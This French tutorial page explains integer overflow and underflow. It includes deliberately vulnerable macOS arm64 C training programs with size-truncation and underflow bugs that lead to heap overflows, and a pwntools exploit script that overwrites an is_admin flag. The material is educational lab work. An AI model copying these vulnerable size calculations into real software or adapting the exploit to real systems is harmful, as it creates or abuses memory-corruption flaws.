Integer Overflow

Reading time: 11 minutes

Informations de base

Au cœur d'un integer overflow se trouvent les limitations imposées par la taille des types de données en programmation et par l'interprétation des données.

Par exemple, un 8-bit unsigned integer peut représenter des valeurs de 0 à 255. Si vous tentez de stocker la valeur 256 dans un 8-bit unsigned integer, elle revient à 0 en raison de la limitation de sa capacité de stockage. De même, pour un 16-bit unsigned integer, qui peut contenir des valeurs de 0 à 65,535, ajouter 1 à 65,535 fera revenir la valeur à 0.

De plus, un 8-bit signed integer peut représenter des valeurs de -128 à 127. Cela s'explique par le fait qu'un bit est utilisé pour représenter le signe (positif ou négatif), laissant 7 bits pour représenter la magnitude. Le nombre le plus négatif est représenté comme -128 (binaire 10000000), et le plus positif est 127 (binaire 01111111).

Valeurs max pour les types d'entiers courants :

A short is equivalent to a int16_t and an int is equivalent to a int32_t and a long is equivalent to a int64_t in 64bits systems.

Valeurs maximales

Pour des web vulnerabilities potentielles, il est très intéressant de connaître les valeurs maximales supportées :

fn main() {

let mut quantity = 2147483647;

let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);

println!("{}", mul_result);
println!("{}", add_result);
}

#include <stdio.h>
#include <limits.h>

int main() {
int a = INT_MAX;
int b = 0;
int c = 0;

b = a * 100;
c = a + 1;

printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}

Exemples

Pure overflow

Le résultat affiché sera 0 car nous avons overflowed le char:

#include <stdio.h>

int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}

Conversion d'entier signé en entier non signé

Considérez une situation où un entier signé est lu depuis l'entrée utilisateur puis utilisé dans un contexte qui le traite comme un entier non signé, sans validation adéquate :

#include <stdio.h>

int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);

// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;

// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}

return 0;
}

Dans cet exemple, si un utilisateur saisit un nombre négatif, il sera interprété comme un grand entier non signé en raison de la manière dont les valeurs binaires sont interprétées, ce qui peut entraîner un comportement inattendu.

macOS Overflow Example

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}

struct session {
int is_admin;           // Target to flip from 0 → 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;

printf("Requested bytes: %zu\n", want);

while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;

ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF – stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}


int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");

// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;

// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
//    NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32   = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);

// 3) Allocate a single arena and lay out [buffer][slack][session]
//    This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;  // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).

// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size;                   // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);

puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);

// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

Compilez-le avec :

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c

Exploit

# exploit.py
from pwn import *

# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"

EXE = "./int_ovf_heap_priv"

def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE])  # stdin=PIPE, stdout=PIPE by default

# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296")  # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ",  b"1")           # alloc32 = 32, offset_to_sess = 48

# 2) Wait until it’s actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")

# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)

# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send")   # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary

# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))

if __name__ == "__main__":
main()

macOS Underflow Exemple

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}

struct session {
int  is_admin;      // flip 0 -> 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break;    // EOF: partial read is fine
perror("read"); break;
}
return got;
}

int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");

size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"

const size_t HEADER = 16;

// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER;   // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);

// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);

puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);

if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

Compilez-le avec :

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c

Autres exemples

• https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html

• Seul 1B est utilisé pour stocker la taille du mot de passe, il est donc possible de provoquer un overflow et de faire croire que sa longueur est 4 alors qu'elle est en réalité 260, afin de bypass la length check protection

• https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html

• Étant donné quelques nombres, trouvez avec z3 un nouveau nombre qui, multiplié par le premier, donne le second :

(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)

• https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/
• Seul 1B est utilisé pour stocker la taille du mot de passe, il est donc possible de provoquer un overflow et de faire croire que sa longueur est 4 alors qu'elle est en réalité 260, afin de bypass la length check protection et d'overwrite dans the stack la next local variable et bypass both protections

ARM64

Cela ne change pas sur ARM64 comme vous pouvez le voir dans ce billet de blog.